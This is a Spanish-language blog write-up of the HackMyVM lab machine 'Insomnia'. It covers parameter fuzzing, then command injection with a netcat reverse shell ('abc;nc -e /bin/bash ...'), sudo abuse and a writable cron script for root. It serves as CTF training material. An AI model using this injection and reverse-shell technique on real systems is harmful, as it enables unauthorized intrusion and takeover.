Ir al contenido

Insomnia

·662 palabras·4 mins
loco0000
Autor
loco0000
Estudiante de ingenier铆a electrica y aspirante a pentester.
Hackmyvm F谩cil - Este art铆culo es parte de una serie.
Parte 5: Este art铆culo

Prefacio
#

Reci茅n empece clases otra vez, entonces lo mas probable es que la pagina se actualice de manera irregular, en la secci贸n de maquina por lo menos. Nuevamente, si estas leyendo esto, muchas gracias por tu tiempo.

Informaci贸n de la maquina
#

NombreInsomnia
Sistema OperativoLinux
Autoralienum
Sitiohackmyvm
DificultadF谩cil

Reconocimiento y enumeraci贸n
#

Corremos nuestro escaneo de NMAP:

Nota: Se me corto la energ铆a el茅ctrica cuando esta tratando de resolver esta maquina y me toco rea帽adirla a virtualbox para que trabajara bien nuevamente, entonces, en vez de .24 al final de la direcci贸n IP, ahora ver谩n .25.

Revisemos la pagina web:

Un chat, revisemos el c贸digo fuente:

Tenemos un script de javascript que es el que corre la sesi贸n de chat, tal vez podamos hacer XSS en esta pagina, pero antes que nada, intentemos enumerar la pagina web.

Interesante, revisemos cada uno de esos archivos en la pagina web:

chat.txt
#

Un registro del chat, sigamos revisando.

administration.php
#

Parece ser que podemos llamar un archivo aqu铆, pero, no sabemos el nombre de la variable que el script php esta usando, entonces, vamos a hacer fuzzing con gobuster and y encontrar el nombre de variable correcto con este comando: gobuster fuzz -u http://192.168.25.25:8080/administration.php?FUZZ=prueba -w /usr/share/seclists/Discovery/Web-Content/common.txt --exclude-length 65

Bien, encontramos el nombre de variable, revisemos la pagina:

Eso es bueno, aqu铆 podemos ver el mensaje que escribimos antes, probemos a ver si podemos ejecutar alg煤n comando.

No sabemos espec铆ficamente que hace el script PHP, podemos suponer que usa un cat <archivo> con la funci贸n system("cmd") o algo asi. Ahora, intentemos el siguiente comando a ver si podemos obtener una reverse shell en nuestra maquina: abc;nc -e /bin/bash 192.168.25.5 4444

Acceso inicial
#

Ahi esta, primero lo primero, mejoremos nuestra shell:

Encontramos la bandera de usuario, ahora veamos como podemos cambiar a otro usuario, o si es posible escalar privilegios:

Interesante, veamos que hace el script:

Revisando la pagina de ayuda:

Este comando inicia un servidor web en el puerto 8080, pero, lo hace via la terminal bash, entonces, tal vez podemos reemplazar los contenidos y ejecutar una shell bash, con los privilegios del usuario julia.


Nota: Resoluci贸n de problemas
#

En este punto, no podia editar el archivo con echo y obten铆a el siguiente error bash: echo: write error: No space left on device, entonces, para arreglar ese problema, me toco redimensionar el disco virtual de la maquina para que funcionara otra vez, por favor tener en cuenta que, si hacen esto cuando la maquina ha corrido otra vez, la pueden romper.En mi caso, simplemente no me mostraba la pagina web, por lo cual les tocara importar la maquina otra vez. Entonces, si estas siguiendo este writeup, te recomiendo redimensionar el disco virtual de esta maquina de antemano. Ahora, sigamos.


Bien, revisemos el script otra vez:

Ahora, intentemos correrlo como el usuario julia usando sudo -u julia /bin/bash /var/www/html/start.sh:

Escalada de privilegios
#

Entramos como julia, veamos que podemos hacer:

Encuentro este script de inter茅s en /etc/crontab, revisemos que es lo que hace:

Parece ser que todo lo que hace es revisar si alg煤n tipo de servicio esta activo, y si no esta corriendo, lo inicia. Revisemos los privilegios de este archivo:

Loter铆a, editemos este archivo con una payload, para que envi茅 una sesi贸n con privilegios de administrador a nuestra maquina:

En lo que ingresamos este comando, deber铆amos obtener esto en nuestro escucha de netcat:

Obtenemos privilegios de administrador, obtengamos la bandera de root, y terminemos de comprometer esta maquina:

隆Gracias por tu tiempo y buena suerte en futuras maquinas!

Cosas que aprend铆 de esta maquina
#

  • Cuando me encuentre con un archivo php, intentar hacer fuzzing de variables, estas puede ser que llamen ciertos archivos a traves del script php, permiti茅ndonos hacer uso de un remote command execution para el acceso inicial.
  • Redimensionar el tama帽o del disco virtual de la maquina si me encuentro el error bash: echo: write error: No space left on device otra vez.
Hackmyvm F谩cil - Este art铆culo es parte de una serie.
Parte 5: Este art铆culo